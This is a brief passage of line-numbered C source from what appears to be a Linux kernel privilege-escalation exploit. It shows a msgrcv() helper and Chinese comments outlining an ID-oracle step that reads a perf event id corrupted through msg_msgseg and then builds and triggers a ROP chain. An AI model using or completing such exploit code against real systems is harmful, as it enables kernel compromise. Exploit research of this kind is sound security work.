| 2131 | } |
| 2132 | |
| 2133 | int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { |
| 2134 | if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) { |
| 2135 | perror("[-] msgrcv read"); |
| 2136 | return -1; |
| 2137 | } |
| 2138 | return 0; |
| 2139 | } |
| 2140 | |
| 2141 | // [5] ID Oracle读取 + ROP链构建与触发 |
| 2142 | // [5-1] 通过 ioctl(PERF_EVENT_IOC_ID) 读取被 msg_msgseg 覆盖后的 event->id。从印章值解码受害者消息队列索引和偏移 |